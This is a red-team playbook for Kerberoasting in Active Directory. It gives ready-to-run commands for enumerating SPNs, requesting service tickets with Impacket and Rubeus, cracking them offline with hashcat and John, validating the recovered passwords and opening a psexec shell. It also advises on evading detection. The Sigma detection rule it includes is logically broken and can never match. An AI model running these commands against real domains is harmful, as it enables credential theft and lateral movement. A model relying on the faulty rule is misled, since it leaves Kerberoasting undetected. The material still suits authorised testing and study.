<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-kerberoasting
description: >-
  Extract and crack Kerberos TGS tickets for service accounts in Active Directory.
  Covers SPN enumeration, ticket requests via Impacket and Rubeus, hashcat/john
  cracking workflows, and OPSEC considerations to avoid detection.
domain: cybersecurity
subdomain: red-team
tags:
  - kerberoasting
  - kerberos
  - active-directory
  - credential-access
  - impacket
  - rubeus
  - hashcat
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1558.003"]
  tools: ["impacket", "rubeus", "hashcat", "john", "bloodhound"]
---

# Performing Kerberoasting

## Overview

Kerberoasting (T1558.003) abuses the Kerberos TGS-REQ process to extract service
ticket hashes for offline cracking. Any authenticated domain user can request a
TGS ticket for any service with a registered SPN. The ticket is encrypted with the
service account's NTLM hash, making it crackable offline without triggering account
lockout. High-privilege service accounts with weak passwords are the primary target.

## Prerequisites

- Authenticated domain user credentials (any privilege level)
- Network access to a Domain Controller (TCP 88 Kerberos, TCP 389 LDAP)
- Impacket suite (`pip install impacket`) or Rubeus on Windows
- Hashcat 6.0+ or John the Ripper with Jumbo patches
- Wordlist: `rockyou.txt`, custom org-specific lists, or rule-based generation

```bash
pip install impacket
# Rubeus: compile from https://github.com/GhostPack/Rubeus
```

## Key Concepts

### Service Principal Names (SPNs)

SPNs link a service instance to a logon account. Format: `service/hostname:port`.
Kerberoasting targets SPNs registered to **user accounts** (not computer accounts),
because user-set passwords are typically weaker than the 120-character random
passwords assigned to machine accounts.

### TGS Ticket Encryption Types

| Encryption | Etype | Crackability |
|-----------|-------|-------------|
| RC4-HMAC | 23 | Fast — NTLM hash based |
| AES-128 | 17 | Slow — 4096 PBKDF2 iterations |
| AES-256 | 18 | Slowest — 4096 PBKDF2 iterations |

**OPSEC note:** Requesting RC4 tickets when the account supports AES is a detection
signal (Event ID 4769 with 0x17 encryption). Prefer AES requests when stealth matters.

### Attack Flow

```
1. Enumerate SPNs registered to user accounts (LDAP query)
2. Request TGS tickets for target SPNs (KRB_TGS_REQ)
3. Extract ticket hashes (kirbi/ccache → hashcat format)
4. Crack offline with hashcat/john + wordlists/rules
5. Authenticate with recovered plaintext password
```

## Workflow

### Step 1: Enumerate Service Accounts with SPNs

```bash
# Impacket — remote SPN enumeration
GetUserSPNs.py 'CORP.LOCAL/jsmith:Password1' -dc-ip 10.10.10.1

# LDAP filter for SPN-enabled user accounts
ldapsearch -H ldap://10.10.10.1 -D "jsmith@corp.local" -w 'Password1' \
  -b "DC=corp,DC=local" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))" \
  sAMAccountName servicePrincipalName memberOf
```

```powershell
# PowerShell — from domain-joined host
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName,MemberOf |
  Select-Object SamAccountName, ServicePrincipalName, MemberOf
```

### Step 2: Request TGS Tickets

```bash
# Impacket — request and save hashes directly
GetUserSPNs.py 'CORP.LOCAL/jsmith:Password1' -dc-ip 10.10.10.1 \
  -request -outputfile kerberoast_hashes.txt

# Target specific SPN
GetUserSPNs.py 'CORP.LOCAL/jsmith:Password1' -dc-ip 10.10.10.1 \
  -request -target-domain CORP.LOCAL \
  -usersfile high_value_spns.txt -outputfile targeted.txt
```

```powershell
# Rubeus — from domain-joined Windows host
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user, request RC4 (louder but faster to crack)
.\Rubeus.exe kerberoast /user:svc_sql /rc4opsec /outfile:svc_sql.txt

# Request AES tickets (stealthier)
.\Rubeus.exe kerberoast /user:svc_sql /aes /outfile:svc_sql_aes.txt

# Stats only — enumerate without requesting tickets
.\Rubeus.exe kerberoast /stats
```

### Step 3: Crack TGS Hashes

```bash
# Hashcat — RC4 TGS (mode 13100)
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt -r rules/best64.rule

# Hashcat — AES-256 TGS (mode 19700)
hashcat -m 19700 kerberoast_hashes.txt rockyou.txt -r rules/best64.rule

# John the Ripper
john --format=krb5tgs --wordlist=rockyou.txt kerberoast_hashes.txt

# Show cracked passwords
hashcat -m 13100 kerberoast_hashes.txt --show
```

### Step 4: Validate Credentials

```bash
# NetExec — validate cracked credentials
nxc smb 10.10.10.1 -u svc_sql -p 'CrackedPassword123'

# Check if DA or high-privilege
nxc smb 10.10.10.1 -u svc_sql -p 'CrackedPassword123' --groups

# Impacket — get a shell if admin
psexec.py 'CORP.LOCAL/svc_sql:CrackedPassword123@10.10.10.1'
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| Event ID 4769 | Security Log | TGS requests with RC4 (0x17) encryption type |
| Event ID 4769 | Security Log | High volume TGS requests from single source |
| Honey SPN | Custom | Service account with SPN but no real service — any ticket request is malicious |
| Sigma Rule | SIEM | `win_security_kerberoasting_spn_request` |

```yaml
title: Potential Kerberoasting Activity
id: a3b9e4c1-8d2f-4a6b-b5c3-7e1f9d0a2b4c
status: experimental
description: Detects TGS ticket requests using RC4 encryption which may indicate Kerberoasting
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'
    ServiceName|endswith:
      - '$'
  filter:
    ServiceName|endswith: '$'
  condition: selection and not filter
falsepositives:
  - Legacy applications requiring RC4 Kerberos tickets
level: medium
tags:
  - attack.credential_access
  - attack.t1558.003
```

## OPSEC Considerations

- **Request AES tickets** when possible — RC4 requests are a known detection signal
- **Limit request volume** — spread SPN queries over time, avoid bulk enumeration
- **Target high-value accounts** — enumerate first with `/stats`, then selectively roast
- **Blend with normal traffic** — request tickets during business hours from expected hosts
- **Use existing sessions** — leverage compromised user sessions rather than explicit auth

## Verification

- [ ] SPN enumeration returns user accounts (not just computer accounts)
- [ ] TGS tickets extracted in hashcat-compatible format
- [ ] Hashcat/John cracking attempt runs without format errors
- [ ] Cracked credentials validated against target service
- [ ] Detection artifacts documented (Event IDs, log sources)

## References

- [MITRE ATT&CK T1558.003](https://attack.mitre.org/techniques/T1558/003/)
- [Impacket GetUserSPNs](https://github.com/fortra/impacket)
- [Rubeus Kerberoast](https://github.com/GhostPack/Rubeus)
- [Hashcat Kerberos Modes](https://hashcat.net/wiki/doku.php?id=example_hashes)
- [harmj0y — Kerberoasting Without Mimikatz](https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/)
